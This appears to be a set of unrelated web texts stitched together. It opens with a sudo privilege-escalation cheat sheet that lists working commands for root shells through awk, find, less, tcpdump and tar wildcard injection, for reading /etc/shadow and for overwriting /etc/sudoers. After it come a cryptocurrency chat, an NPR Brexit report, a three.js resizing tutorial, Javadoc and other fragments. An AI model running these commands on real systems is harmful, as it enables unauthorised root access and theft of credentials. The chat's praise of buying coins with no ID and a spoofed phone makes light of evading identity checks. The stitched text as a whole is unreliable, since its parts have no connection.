If you have sudo access to certain commands, it can allow you to fully escalate privs. Also check out the binaries in rbash / restricted shell
See GTFO Bins github
cp
Overwrite /etc/shadow or /etc/sudoers #please make a backup first
awk
awk 'BEGIN {system("/bin/bash")}'
bash
bash -i
find #make sure the file can be found!
find / -name /etc/passwd -exec bash -i \;
find / -name /etc/passwd -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
less
From less, you can go into vi and then into shell
less /etc/shadow
v
:shell
less
If less can 'sudo /file/log/*', you can either use file/log/../../etc/shadow or the :n switch, etc
more
run more on a file larger than your screen
!/bin/bash
mv
Overwrite /etc/shadow or /etc/sudoers #please make a backup first
Many more binaries you can exec in (see rbash page)
Programming language? See reverse shells section
sh
tcpdump- echo $'id\ncat /etc/shadow' > /tmp/.test
- chmod +x /tmp/.test
- sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
- or another
- tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
tar
tar c a.tar -I ./runme.sh a
or
- --checkpoint=<number> and --checkpoint-action=<command> where checkpoint corresponds to a specific number of files that should be handled by tar before performing the action
- if you cannot edit the tar command, you can create files on the system for wildcard injection
- touch "-checkpoint-action=exec=sh rshell.sh"
- touch "-checkpoint=1"
- sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
zip
zip z.zip a -T -TT ./runme.sh
ftp
ftp> ! ./runme.sh
man
man -P /tmp/runme.sh man
environment variables!- export PAGER=./runme.sh
- git -p help
- git, man, etc programs. Anything that can use the PAGER env variable
git
export PATH=/tmp:$PATH- ln -sf /tmp/runme.sh /tmp/git-help
- git --exec-path=/tmp help
- --exec-path must be in $PATH in order to be executed
Apache (-f uses directives in the file config on startup)
sudo apache2 -f /etc/shadow
to host a protected file that you can then view


--- layout: post title: JUnit Testing Using Java ME JUnit Frameworks date: 2006-10-01 00:00:00 categories: mobile software-development ---
JUnit Testing Using Java ME JUnit Frameworks: "Java ME JUnit extensions built especially for device application developers. Importantly, NetBeans and the NetBeans Mobility Pack plan on incorporating a Java ME JUnit-style framework with the release of NetBeans and NetBeans Mobility 5.5. The IDE provides a neat capability to add unit testing to your ME applications very quickly."


Komodo is preparing to activate a major update to the Komodo code base. Learn more about all the new tech features coming to Komodo on December 15, 2018.
ryman11227-Nov-18 05:40 PM
Mandatory wallet upgrade....what does that mean for me having mine on a ledger nano locked away?
ComputerGenie 👴👴👴27-Nov-18 05:42 PM
it means that you need to move to a non-proprietary wallet or wait until ledger upgrades
jl777c27-Nov-18 05:42 PM
ledger should update in time
ryman11227-Nov-18 05:45 PM
Its kind of a pain for me to go get this thing. So basically before dec. 15th I need to travel back to my home town and get this thing and update it?
ComputerGenie 👴👴👴27-Nov-18 05:49 PM
well, you need it to use it to get rewards anyway
if not grabbing rewards, you can update whenever you next use it
unless there's a transparent address update that I missed
ryman11227-Nov-18 05:53 PM
Im out of town working and didn't bring it with me so I suppose Ima make a special trip lol
jl777c27-Nov-18 05:53 PM
why do you need to update it before you use it?
presumable it all happens server side at ledger HQ
so you wont have to do anything special, let alone travel home to get it. if you arent going to do any transactions, why would you need to update anyway? even if you ran a full node, there is no need to update before you need to do transactions
and using a ledger is basically using a lite mode wallet, where the real nodes are maintained by ledger
so let ledger update, use the ledger next time you use it
why is this a pain? to do nothing
ryman11227-Nov-18 05:55 PM
Thanks @jl777c
It is certainly not a pain now that I understand. Not that I wouldn't enjoy seeing family.
PHBA206127-Nov-18 06:05 PM
as long as your private key/seed is safe, your kmd are safe
snowdamn27-Nov-18 06:06 PM
it's a pain sitting here doing nothing waiting for $100 KMD & $50k BTC!
ComputerGenie 👴👴👴27-Nov-18 06:06 PM
wants the former and not the latter
snowdamn27-Nov-18 06:06 PM
what if i told you the latter has to happen for the former?
ComputerGenie 👴👴👴27-Nov-18 06:06 PM
$50k BTC is just stoopid
what if i told you the latter has to happen for the former?
Then I'd tell you that crypto is doomed and we're just pissing our lives away
1
snowdamn27-Nov-18 06:08 PM
i like your take better
ComputerGenie 👴👴👴27-Nov-18 06:08 PM
Does IBM stock need to be $4k for Apple stock to be $300?
digitalprice.io accepts deposits and withdrawals of kmd(edited)
For those dollar cost average traders out there :p
Hermes27-Nov-18 07:20 PM
Is that just now...I thought they halted trading
tolken27-Nov-18 07:20 PM
You can buy kmd on BarterDex
actually put it in your wallet too.

The feeling is strong, that they can do no wrong. Who needs priv keys when someone can handle it for you?
ComputerGenie 👴👴👴27-Nov-18 07:41 PM
Who needs priv keys when someone can handle it for you?
 I believe in the team, I’m just impatient
jl777c27-Nov-18 07:44 PM
barterDEX now is like the apple lisa. we need to wait for the macintosh
7
ComputerGenie 👴👴👴27-Nov-18 07:45 PM
nah, BarterDEX at least works
PHBA206127-Nov-18 08:01 PM
binance is also working on their own dex
tolken27-Nov-18 08:13 PM
Another “DEX” with KYC?
PHBA206127-Nov-18 08:14 PM
let's wait and see what kind of dex is binancedex
tolken27-Nov-18 08:14 PM
Don’t think we have any other choice.
barv27-Nov-18 08:17 PM
Their first demo was an on chain dex @PHBA2061 , but I saw too little to draw conclusions
PHBA206127-Nov-18 08:25 PM
yeah, it's still too early to jump into conclusion, let's just wait
their advantage is having million of users
Acura27-Nov-18 08:36 PM
My last info was that the DEX of Binance must be able to do the following: Token burn, freeze token, and some other technical things.
Then I was a bit surprised what the freezing of coins has to do with a Dex.
So in my opinion, there will be KYC or a centralized middlemen for such things
ComputerGenie 👴👴👴27-Nov-18 08:45 PM
Another “DEX” with KYC?
as long as people want fiat involved, that's pretty well going to happen every time
Then I was a bit surprised what the freezing of coins has to do with a Dex.
#ETH/ETCsplit
it's that whole 'we want it all immutable! (unless we want it mutable)' thing
barv27-Nov-18 09:24 PM
There are different levels of being decentralised. BarterDEX is totally decentralised and Binance will probably be less. But less then BarterDEX is still more then they are now.
Hegelian27-Nov-18 10:40 PM
Does the coinmarketcap barterdex show the entire volume?
Of hyperdex and barterdex?
ComputerGenie 👴👴👴27-Nov-18 11:09 PM
Confusing as it may be, HyperDEX and BarterDEX (GUI) are just GUIs for the BarterDEX system, so the answer is : 'it should'
jl777c27-Nov-18 11:13 PM
except not all the coins traded on barterDEX are tracked by CMC...
ComputerGenie 👴👴👴27-Nov-18 11:23 PM
yes, that
my answer was assuming that the question meant the volume of a given tracked coin
as far as the entire bartedex volume, the answer is likely: no, because that would involve tracking every combination of every known usable coin(edited)
Vertigo27-Nov-18 11:23 PM
Jl777c Do you know why deposit and withdrawal suspended?
 KMD already ate its lunch and then some.
Redbeard28-Nov-18 01:41 AM
Silly
Have 2 $KMD ATM’s in the vicinity. Hit one up today, just before mini jump. Love it.
<$900 no ID.
Per day, beautiful. coinflip.tech
Future is closer.
$CASH>$ARRR would be really cool but...
Probably squashed at proposal.
And... ATM out of order yesterday because it was too full of cash. Even cooler. Have to get thee before lunch these days.
2
It was a huge inconvenience, but took it as a good “sign of the times.”
is the third selection on my regular visit. Blinded from the first 2.
Redbeard28-Nov-18 02:23 AM
My boy, “ why is that machine eating all your money?and I get skittles for watching?” Me, “It’s your savings account.” I’ll be a huge fan of the CC “will”.
Redbeard28-Nov-18 02:35 AM
Raised on (crypto) $KMD, is the future.
3
polycryptoblog28-Nov-18 03:14 AM
Nice
Was a good integration then
2nd person I heard about coinflip this week
Redbeard28-Nov-18 03:28 AM
It was. Easy, banks don’t know, no ID. Spoof phone yes. Beautiful.
Thank you
1
I’ll keep feeding it till euphoria happen again.
polycryptoblog28-Nov-18 03:40 AM
2
jspook1628-Nov-18 05:01 AM
With the new fork does that mean kmd will be verus PoS or asset chains can pick up verus PoS?
NutellaLicka28-Nov-18 05:08 AM
I believe asset chains may be able to choose which algo and PoS/PoW options. My understanding is that KMD itself will still be equihash.


Reports the ternary condition operator. Some coding standards prohibit the use of the condition operator, in favor of
if-else
statements.


Loading external sources
ajax with much content full width
ajax with much content autosize
ajax with some content
iframe
iframe no padding
iframe no scrollbars
Image


Britain Gets OK To Start Negotiating Exit With European Union
The European Union has decided to let Britain start negotiating its future relationship with the giant trading block. This comes as there is now an agreement with the United Kingdom on how it will end its membership of the EU, but the tough part still lies ahead.
ROBERT SIEGEL, HOST:
The United Kingdom is one step closer to leaving the European Union. Today in Brussels, European leaders finally approved talks on a future trading relationship between Britain and the EU. But as NPR's Frank Langfitt reports, the hard part lies ahead.
FRANK LANGFITT, BYLINE: Today marked the end of the beginning of Brexit. The U.K. has agreed to pay a divorce bill of about $50 billion and to not build a border on the island of Ireland. In exchange, the EU has agreed to talk about a future trade relationship, which is crucial to the British economy. Donald Tusk is president of the European Council.
(SOUNDBITE OF ARCHIVED RECORDING)
DONALD TUSK: We should adopt guidelines and start negotiations next year. I trust that the unity on the EU side will continue.
LANGFITT: Back in Britain, U.K. Prime Minister Theresa May struck an optimistic tone.
(SOUNDBITE OF ARCHIVED RECORDING)
PRIME MINISTER THERESA MAY: There's still more to do, but we're well on the road to delivering a Brexit that will make Britain prosperous, strong and secure.
LANGFITT: In fact, observers say negotiations will be fraught and take years. The United Kingdom must first decide what kind of new trade relationship it wants. Andre Sapir says that won't be easy because Prime Minister May's government is split over how sharp a break to make with the EU's giant collective market. Sapir teaches economics at the Free University of Brussels.
ANDRE SAPIR: She has been fudging some of the issues. That's fine. But, you know, the time has come when she cannot fudge it for much more because now we are entering into the real negotiation. And she has to choose. She has to announce to a partner - what is it we are negotiating?
LANGFITT: Because of its size, the EU has the leverage to drive a hard bargain. Jean de Ruyt, a former Belgian ambassador to the EU, says if European negotiators push too hard, they risk toppling Prime Minister May, who's weak at home.
JEAN DE RUYT: Honestly, they want to reinforce her. She leads encouragement. Who else could we have as an interlocuter?
LANGFITT: The EU's given the British government several months to sort out its position. Donald Tusk, head of the European Council, says then, an even more challenging round of talks will begin. Frank Langfitt, NPR News, Brussels.
Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.


HotSwap is a small, simple mod for Minecraft Forge which adds hotkeys and mouse controls to quickly switch out hotbar items from other rows in your inventory. You can switch out either the selected slot or the entire hotbar.
HotSwap can be a lighter, simpler substitute for other inventory management mods, with minimal impact on the rest of the game. Since 0.2 HotSwap is compatible with Inventory Tweaks!


World Record: More than 120 Journalists Have Been Held in Turkish Prisons
More than 120 journalists have been held in Turkish prisons, a world record, and the media situation in the country has not improved since last year, when the state of emergency was lifted. This was reported by the International Press Institute, quoted by British media.
In the two years since the state of emergency in Turkey, 150,000 judges, scientists, officers, government officials and other civilians have been fired on suspicion of links to the FETÖ organization of Islamic preacher Fethullah Gülen, who lives in the US, and is considered by the Turkish authorities blame for the coup.
More than 77,000 people were imprisoned during this period pending litigation.
After the coup attempt, hundreds of journalists were tried on terrorism charges. This is said in a report by the International Press Institute, which adds that the number of journalists still in prison has dropped from more than 160 to the current 120.
“Behind those figures lies a story of egregious violations of fundamental rights, with dozens of journalists held on the most serious terrorism-related charges for months, sometimes years, pending trial, in many cases without an official indictment,” the report said.


|
|||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
The interface for controlling playback of SMIL documents. SMILControllers are produced by SMILDocuments using the method getController(); see interface SMILDocument
| Method Summary | |
void |
addListener(SMILListener listener)
Add a playback event listener for the SMIL document controlled by this SMILController. |
double |
getSpeed()
Get playback speed for the SMIL document controlled by this SMILController. |
double |
getTime()
Get current position in seconds of the SMIL document controlled by this SMILController. |
void |
pause()
Pause playback, of the SMIL document controlled by this SMILController. |
void |
play()
Start playback from current position, of the SMIL document controlled by this SMILController. |
void |
removeListener(SMILListener listener)
Remove playback event listener for the SMIL document controlled by this SMILController. |
void |
setSpeed(double v)
Set playback speed for the SMIL document controlled by this SMILController. |
void |
setTime(double t)
Seek to time t in seconds within the SMIL document controlled by this SMILController. |
void |
stop()
Stop playback, of the SMIL document controlled by this SMILController and reset. |
| Method Detail |
public void play()
public void pause()
public void stop()
public void setTime(double t)
t
- time in seconds to seek to.public double getTime()
public void setSpeed(double v)
v
- new speed.public double getSpeed()
public void addListener(SMILListener listener)
listener
- the object that will receive playback notifications.public void removeListener(SMILListener listener)
|
|||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


EC cautions public against fake recruitment exercise
The Electoral Commission (EC) has distanced itself from an on-going recruitment exercise being advertised on social media.
There has been an announcement of recruitment of personnel for the electoral management body on some social media platforms including Facebook.
However, the EC, in a statement signed by its Director, Public Affairs, Sylvia Annoh stated categorically that it is not advertising for recruitment as being speculated.
“The general public will be duly informed through appropriate advertisement and other relevant channels whenever there is an opening at the Commission,” the statement concluded.


---
title: The One Ring Resources
layout: default
---
The One Ring 2nd Edition
by
/Free League |
Forum |
Kickstarter |
LOTR
Wiki |
Map |
Timeline
Tabletop role playing game based on Tolkien's works, set between "The Hobbit" and "The Lord of the Ring". This span is in the Third Age, between June 2942 and Sept 3001.
Hide
Clear
Skill Roll
Favored
Normal
Ill-Favored
Miserable
Weary
0
1
2
3
4
5
6
7
8
9
Success Die
Hide
All
None
+
Character Generator
Bardings
Dwarves
Elves
Hobbits
Men of Bree
Rangers
Captain
Champion
Messenger
Scholar
Treasure Hunter
Warden
Hide
+
Precious Object Generator
Hide
Clear
+
Travel Events
Region: Border Wild Dark
Event Fatigue Target(s) Skills
+
Wound Roll
Hide
Injury Roll
Action: Standard Hazardous Foolish
Injury Source
Cold
Falling
Fire
Suffocate
Poison
Moderate Injury Chilling Winds Short Fall Flame Fumes Bad food
Severe Injury Deep Snow Hard Fall Large Fire Drowning Orc poison
Grevious Injury Frigid Waters Deadly Fall Cremation Strangulation Spider-poison


The finder method's return type must be the primary key or a collection of primary keys.
see REFERENCEs.
REFERENCE
"Enterprise JavaBeans Developer's Guide". http://java.sun.com/j2ee/j2sdkee/techdocs/guides/ejb/html/Entity.fm.html


--- layout: default title: Services Statistics ---
This is a set of statistics retrieved from various IRC networks. How many networks were queried is shown. These stats do not represent every IRC network out there, just the ones we've been able to scan. Specific versions are normalized to just the Services version number (x{.x}, i.e. 3.5.2)
, and other information is ignored when assembling that table.
These commands are used to retrieve these statistics from networks: "VERSION services.*"
, "VERSION *.services"
, "/CTCP NickServ VERSION"
.
Statistics are often misleading and can be used to push agendas based on how they are presented. The statistics here ARE NOT normalised or weighted based on user count, and we DO NOT filter out networks with very low numbers of users.
These stats present a misleading picture of the IRC software and features typically encountered by users because they are presented based only on sheer number of instances. Adding weighting and filtering based on user count is planned, but hasn't been implemented yet simply due to time.
Don't trust these statistics. Don't trust ANY IRC statistics unless you can see exactly how they are weighted / processed, and experiment with how weighting and filtering based on user counts and other metrics changes the stats to give you a more complete picture of them.
This site is a WORK IN PROGRESS and will be updated as the statistics collection and display is improved. These statistics should not be used in anything other than curiosity's sake at this point.
Last Updated: {{ site.data.services.PrettyTime }}
Networks: {{ site.data.services.Connections }}
This represents the services software we found in use when connecting to networks. Major versions of services are displayed separately.
| Version | Networks | Advertised |
{{ specific_ver[0] }} |
{{ specific_ver[1] }} | {{ specific_ver[1] | times: 1.0 | divided_by: site.data.services.ServicesVersionCount[swname] | times: 100.0 | round: 1 }}% |


This is the second article in a series of articles about three.js. The first article was about fundamentals. If you haven't read that yet you might want to start there.
This article is about how to make your three.js app be responsive to any situation. Making a webpage responsive generally refers to the page displaying well on different sized displays from desktops to tablets to phones.
For three.js there are even more situations to consider. For example, a 3D editor with controls on the left, right, top, or bottom is something we might want to handle. A live diagram in the middle of a document is another example.
The last sample we had used a plain canvas with no CSS and no size
<canvas id="c"></canvas>
That canvas defaults to 300x150 CSS pixels in size.
In the web platform the recommended way to set the size of something is to use CSS.
Let's make the canvas fill the page by adding CSS
<style> html, body { margin: 0; height: 100%; } #c { width: 100%; height: 100%; display: block; } </style>
In HTML the body has a margin of 5 pixels by default so setting the margin to 0 removes the margin. Setting the html and body height to 100% makes them fill the window. Otherwise they are only as large as the content that fills them.
Next we tell the id=c
element to be
100% the size of its container which in this case is the body of
the document.
Finally we set its display
mode to block
. A canvas's
default display mode is inline
. Inline
elements can end up adding whitespace to what is displayed. By
setting the canvas to block
that issue goes away.
Here's the result
You can see the canvas is now filling the page but there are 2 problems. One our cubes are stretched. They are not cubes they are more like boxes. Too tall or too wide. Open the example in its own window and resize it. You'll see how the cubes get stretched wide and tall.
The second problem is they look low resolution or blocky and blurry. Stretch the window really large and you'll really see the issue.
Let's fix the stretchy problem first. To do that we need
to set the aspect of the camera to the aspect of the canvas's
display size. We can do that by looking at the canvas's
clientWidth
and clientHeight
properties.
We'll update our render loop like this
function render(time) { time *= 0.001; + const canvas = renderer.domElement; + camera.aspect = canvas.clientWidth / canvas.clientHeight; + camera.updateProjectionMatrix(); ...
Now the cubes should stop being distorted.
Open the example in a separate window and resize the window and you should see the cubes are no longer stretched tall or wide. They stay the correct aspect regardless of window size.
Now let's fix the blockiness.
Canvas elements have 2 sizes. One size is the size the canvas is displayed on the page. That's what we set with CSS. The other size is the number of pixels in the canvas itself. This is no different than an image. For example we might have a 128x64 pixel image and using CSS we might display as 400x200 pixels.
<img src="some128x64image.jpg" style="width:400px; height:200px">
A canvas's internal size, its resolution, is often called its drawingbuffer size.
In three.js we can set the canvas's drawingbuffer size by calling renderer.setSize
.
What size should we pick? The most obvious answer is "the same size the canvas is displayed".
Again, to do that we can look at the canvas's clientWidth
and clientHeight
properties.
Let's write a function that checks if the renderer's canvas is not already the size it is being displayed as and if so set its size.
function resizeRendererToDisplaySize(renderer) { const canvas = renderer.domElement; const width = canvas.clientWidth; const height = canvas.clientHeight; const needResize = canvas.width !== width || canvas.height !== height; if (needResize) { renderer.setSize(width, height, false); } return needResize; }
Notice we check if the canvas actually needs to be resized. Resizing the canvas is an interesting part of the canvas spec and it's best not to set the same size if it's already the size we want.
Once we know if we need to resize or not we then call renderer.setSize
and
pass in the new width and height. It's important to pass false
at the end.
render.setSize
by default sets the canvas's CSS size but doing so is not
what we want. We want the browser to continue to work how it does for all other
elements which is to use CSS to determine the display size of the element. We don't
want canvases used by three to be different than other elements.
Note that our function returns true if the canvas was resized. We can use this to check if there are other things we should update. Let's modify our render loop to use the new function
function render(time) { time *= 0.001; + if (resizeRendererToDisplaySize(renderer)) { + const canvas = renderer.domElement; + camera.aspect = canvas.clientWidth / canvas.clientHeight; + camera.updateProjectionMatrix(); + } ...
Since the aspect is only going to change if the canvas's display size
changed we only set the camera's aspect if resizeRendererToDisplaySize
returns true
.
It should now render with a resolution that matches the display size of the canvas.
To make the point about letting CSS handle the resizing let's take
our code and put it in a separate .js
file.
Here then are a few more examples where we let CSS choose the size and notice we had
to change zero code for them to work.
Let's put our cubes in the middle of a paragraph of text.
and here's our same code used in an editor style layout where the control area on the right can be resized.
The important part to notice is no code changed. Only our HTML and CSS changed.
HD-DPI stands for high-density dot per inch displays. That's most Macs nowadays and many Windows machines as well as pretty much all smartphones.
The way this works in the browser is they use CSS pixels to set the sizes which are supposed to be the same regardless of how high res the display is. The browser will just render text with more detail but the same physical size.
There are various ways to handle HD-DPI with three.js.
The first one is just not to do anything special. This is arguably the most common. Rendering 3D graphics takes a lot of GPU processing power. Mobile GPUs have less power than desktops, at least as of 2018, and yet mobile phones often have very high resolution displays. The current top of the line phones have an HD-DPI ratio of 3x meaning for every one pixel from a non-HD-DPI display those phones have 9 pixels. That means they have to do 9x the rendering.
Computing 9x the pixels is a lot of work so if we just leave the code as it is we'll compute 1x the pixels and the browser will just draw it at 3x the size (3x by 3x = 9x pixels).
For any heavy three.js app that's probably what you want otherwise you're likely to get a slow framerate.
That said if you actually do want to render at the resolution of the device there are a couple of ways to do this in three.js.
One is to tell three.js a resolution multiplier using renderer.setPixelRatio
.
You ask the browser what the multiplier is from CSS pixels to device pixels
and pass that to three.js
renderer.setPixelRatio(window.devicePixelRatio);
After that any calls to renderer.setSize
will magically
use the size you request multiplied by whatever pixel ratio
you passed in. This is strongly NOT RECOMMENDED. See below
The other way is to do it yourself when you resize the canvas.
function resizeRendererToDisplaySize(renderer) { const canvas = renderer.domElement; const pixelRatio = window.devicePixelRatio; const width = canvas.clientWidth * pixelRatio | 0; const height = canvas.clientHeight * pixelRatio | 0; const needResize = canvas.width !== width || canvas.height !== height; if (needResize) { renderer.setSize(width, height, false); } return needResize; }
This second way is objectively better. Why? Because it means I get what I ask for.
There are many cases when using three.js where we need to know the actual
size of the canvas's drawingBuffer. For example when making a post processing filter,
or if we are making a shader that accesses gl_FragCoord
, if we are making
a screenshot, or reading pixels for GPU picking, for drawing into a 2D canvas,
etc... There are many cases where if we use setPixelRatio
then our actual size will be different
than the size we requested and we'll have to guess when to use the size
we asked for and when to use the size three.js is actually using.
By doing it ourselves we always know the size being used is the size we requested.
There is no special case where magic is happening behind the scenes.
Here's an example using the code above.
It might be hard to see the difference but if you have an HD-DPI display and you compare this sample to those above you should notice the edges are more crisp.
This article covered a very basic but fundamental topic. Next up lets quickly go over the basic primitives that three.js provides.


Mevcut kilonuzu ve mevcut boy uzunluğunuzu girerek ideal kitle endeksinizi öğrenebilirsiniz
Yapılacak işlerinizi listeleyerek gözden kaçırmayı önleyebilirsiniz.
An application with nice design to listen to the music want
Number counter, just click it and it will count the numbers for you
The aim of the game is to reverse the card pairs of it. Lets start .
The application that you can list and plan the jobs you want to do .
The application where you can add as many options as you want and draw lots.
The application that converts the currency you want to any currency using the current exchange rate information .
The application that shows the current weather information of 5 cities.
Buy your ticket and try your luck. Maybe the you win the big jackpot ?
Mini quiz game played for years. Can you win before the trial right given to you ends ?
I designed a dynmaic bookstore application by utilizing JavaScript, Bootstrap, Node.js & Express.js .
I designed a dynmaic online shopping application by utilizing JavaScript, Bootstrap, Node.js & Express.js .
The application where daily and all Covid-19 data can be tracked .
The application where you can create the desired color using primary colors and get the rgb & hexadecimal code for the color you create .
The application where you can learn the features of your horoscope when you enter the information requested from you .


Gem
Breaker
Click to continue
Gem
Breaker
Click to continue
You can install this game to your home screen!
Gem
Breaker
Play
Highscores
Options
Exit
Level:
Score:
Game
Paused
High scores
3D Mode
WebWorkers
Sound
ERROR!


<EMAIL_ADDRESS>|
305.331.1523
Walk Through and 360 Video Service
<EMAIL_ADDRESS>Get in touch


Your login has expired
Welcome to roost
WARNING: This is very experimental right now. No guarantees about it doing anything remotely reasonable at all. Talk to davidben if you want to know the state.


| tensorflow/python/ops/math_ops.py |
48 |
| tensorflow/python/util/deprecation.py |
38 |
| tensorflow/python/ops/array_ops.py |
36 |
| tensorflow/contrib/metrics/python/ops/metric_ops.py |
34 |
| tensorflow/python/ops/image_ops_impl.py |
27 |
| tensorflow/python/ops/metrics_impl.py |
23 |
| tensorflow/python/ops/sparse_ops.py |
22 |
| tensorflow/contrib/framework/python/ops/variables.py |
21 |
| tensorflow/python/ops/nn_ops.py |
21 |
| tensorflow/contrib/framework/python/ops/arg_scope.py |
20 |
| tensorflow/contrib/graph_editor/select.py |
19 |
| tensorflow/python/framework/errors_impl.py |
19 |
| tensorflow/python/framework/ops.py |
19 |
| tensorflow/contrib/lookup/lookup_ops.py |
18 |
| tensorflow/python/ops/check_ops.py |
17 |
| tensorflow/python/ops/nn_impl.py |
16 |
| tensorflow/contrib/layers/python/layers/feature_column.py |
14 |
| tensorflow/python/ops/variables.py |
14 |
| tensorflow/python/training/input.py |
14 |
| tensorflow/contrib/legacy_seq2seq/python/ops/seq2seq.py |
13 |
| tensorflow/python/lib/io/file_io.py |
12 |
| tensorflow/contrib/graph_editor/reroute.py |
11 |
| tensorflow/contrib/graph_editor/transform.py |
11 |
| tensorflow/contrib/graph_editor/util.py |
10 |
| tensorflow/contrib/rnn/python/ops/core_rnn_cell_impl.py |
10 |
| tensorflow/python/ops/data_flow_ops.py |
10 |
| tensorflow/python/ops/losses/losses_impl.py |
10 |
| tensorflow/python/training/saver.py |
10 |
| tensorflow/core/example/feature_pb2.py |
9 |
| tensorflow/python/platform/tf_logging.py |
9 |
| tensorflow/contrib/framework/python/framework/tensor_util.py |
8 |
| tensorflow/contrib/graph_editor/edit.py |
8 |
| tensorflow/python/ops/init_ops.py |
8 |
| tensorflow/python/summary/summary.py |
8 |
| tensorflow/python/training/basic_session_run_hooks.py |
8 |
| tensorflow/python/training/monitored_session.py |
8 |
| tensorflow/contrib/crf/python/ops/crf.py |
7 |
| tensorflow/contrib/layers/python/layers/feature_column_ops.py |
7 |
| tensorflow/core/protobuf/config_pb2.py |
7 |
| tensorflow/python/ops/linalg_ops.py |
7 |
| tensorflow/python/ops/parsing_ops.py |
7 |
| tensorflow/python/ops/random_ops.py |
7 |
| tensorflow/python/platform/test.py |
7 |
| tensorflow/contrib/layers/python/layers/summaries.py |
6 |
| tensorflow/core/framework/summary_pb2.py |
6 |
| tensorflow/python/layers/pooling.py |
6 |
| tensorflow/python/ops/candidate_sampling_ops.py |
6 |
| tensorflow/python/ops/control_flow_ops.py |
6 |
| tensorflow/python/ops/io_ops.py |
6 |
| tensorflow/contrib/distributions/python/ops/mvn.py |
5 |
| tensorflow/contrib/rnn/python/ops/rnn_cell.py |
5 |
| tensorflow/python/framework/graph_util_impl.py |
5 |
| tensorflow/python/layers/convolutional.py |
5 |
| tensorflow/python/ops/clip_ops.py |
5 |
| tensorflow/python/ops/variable_scope.py |
5 |
| tensorflow/python/platform/resource_loader.py |
5 |
| tensorflow/python/training/learning_rate_decay.py |
5 |
| tensorflow/contrib/framework/python/framework/checkpoint_utils.py |
4 |
| tensorflow/contrib/graph_editor/subgraph.py |
4 |
| tensorflow/contrib/layers/python/layers/regularizers.py |
4 |
| tensorflow/contrib/learn/python/learn/estimators/estimator.py |
4 |
| tensorflow/core/framework/attr_value_pb2.py |
4 |
| tensorflow/core/protobuf/tensorflow_server_pb2.py |
4 |
| tensorflow/core/util/event_pb2.py |
4 |
| tensorflow/python/debug/lib/debug_data.py |
4 |
| tensorflow/python/lib/io/tf_record.py |
4 |
| tensorflow/python/ops/functional_ops.py |
4 |
| tensorflow/python/ops/losses/util.py |
4 |
| tensorflow/python/ops/partitioned_variables.py |
4 |
| tensorflow/python/ops/sets_impl.py |
4 |
| tensorflow/python/pywrap_tensorflow.py |
4 |
| tensorflow/python/saved_model/signature_def_utils_impl.py |
4 |
| tensorflow/python/training/queue_runner_impl.py |
4 |
| tensorflow/python/training/session_run_hook.py |
4 |
| tensorflow/python/util/compat.py |
4 |
| tensorflow/contrib/copy_graph/python/util/copy_elements.py |
3 |
| tensorflow/contrib/graph_editor/match.py |
3 |
| tensorflow/contrib/layers/python/layers/layers.py |
3 |
| tensorflow/contrib/learn/python/learn/estimators/run_config.py |
3 |
| tensorflow/contrib/learn/python/learn/learn_io/graph_io.py |
3 |
| tensorflow/contrib/learn/python/learn/learn_io/pandas_io.py |
3 |
| tensorflow/contrib/nn/python/ops/cross_entropy.py |
3 |
| tensorflow/contrib/rnn/python/ops/core_rnn.py |
3 |
| tensorflow/contrib/rnn/python/ops/fused_rnn_cell.py |
3 |
| tensorflow/contrib/rnn/python/ops/lstm_ops.py |
3 |
| tensorflow/contrib/seq2seq/python/ops/attention_decoder_fn.py |
3 |
| tensorflow/python/client/session.py |
3 |
| tensorflow/python/debug/lib/debug_utils.py |
3 |
| tensorflow/python/framework/sparse_tensor.py |
3 |
| tensorflow/python/framework/tensor_util.py |
3 |
| tensorflow/python/ops/ctc_ops.py |
3 |
| tensorflow/python/ops/gradients_impl.py |
3 |
| tensorflow/python/ops/rnn.py |
3 |
| tensorflow/python/ops/session_ops.py |
3 |
| tensorflow/python/platform/gfile.py |
3 |
| tensorflow/python/platform/sysconfig.py |
3 |
| tensorflow/python/summary/writer/writer_cache.py |
3 |
| tensorflow/python/training/coordinator.py |
3 |
| tensorflow/python/training/server_lib.py |
3 |
| tensorflow/python/training/training_util.py |
3 |
| tensorflow/contrib/distributions/python/ops/bernoulli.py |
2 |
| tensorflow/contrib/distributions/python/ops/beta.py |
2 |
| tensorflow/contrib/distributions/python/ops/chi2.py |
2 |
| tensorflow/contrib/distributions/python/ops/distribution_util.py |
2 |
| tensorflow/contrib/distributions/python/ops/exponential.py |
2 |
| tensorflow/contrib/distributions/python/ops/gamma.py |
2 |
| tensorflow/contrib/distributions/python/ops/inverse_gamma.py |
2 |
| tensorflow/contrib/distributions/python/ops/kullback_leibler.py |
2 |
| tensorflow/contrib/distributions/python/ops/laplace.py |
2 |
| tensorflow/contrib/distributions/python/ops/normal.py |
2 |
| tensorflow/contrib/distributions/python/ops/normal_conjugate_posteriors.py |
2 |
| tensorflow/contrib/distributions/python/ops/student_t.py |
2 |
| tensorflow/contrib/distributions/python/ops/wishart.py |
2 |
| tensorflow/contrib/image/python/ops/image_ops.py |
2 |
| tensorflow/contrib/layers/python/layers/initializers.py |
2 |
| tensorflow/contrib/learn/python/learn/estimators/dnn.py |
2 |
| tensorflow/contrib/learn/python/learn/estimators/dnn_linear_combined.py |
2 |
| tensorflow/contrib/learn/python/learn/estimators/kmeans.py |
2 |
| tensorflow/contrib/learn/python/learn/estimators/linear.py |
2 |
| tensorflow/contrib/learn/python/learn/estimators/model_fn.py |
2 |
| tensorflow/contrib/learn/python/learn/learn_io/dask_io.py |
2 |
| tensorflow/contrib/learn/python/learn/monitors.py |
2 |
| tensorflow/contrib/linalg/python/ops/linear_operator_identity.py |
2 |
| tensorflow/contrib/opt/python/training/external_optimizer.py |
2 |
| tensorflow/contrib/seq2seq/python/ops/decoder_fn.py |
2 |
| tensorflow/core/example/example_pb2.py |
2 |
| tensorflow/core/framework/node_def_pb2.py |
2 |
| tensorflow/python/debug/wrappers/hooks.py |
2 |
| tensorflow/python/framework/device.py |
2 |
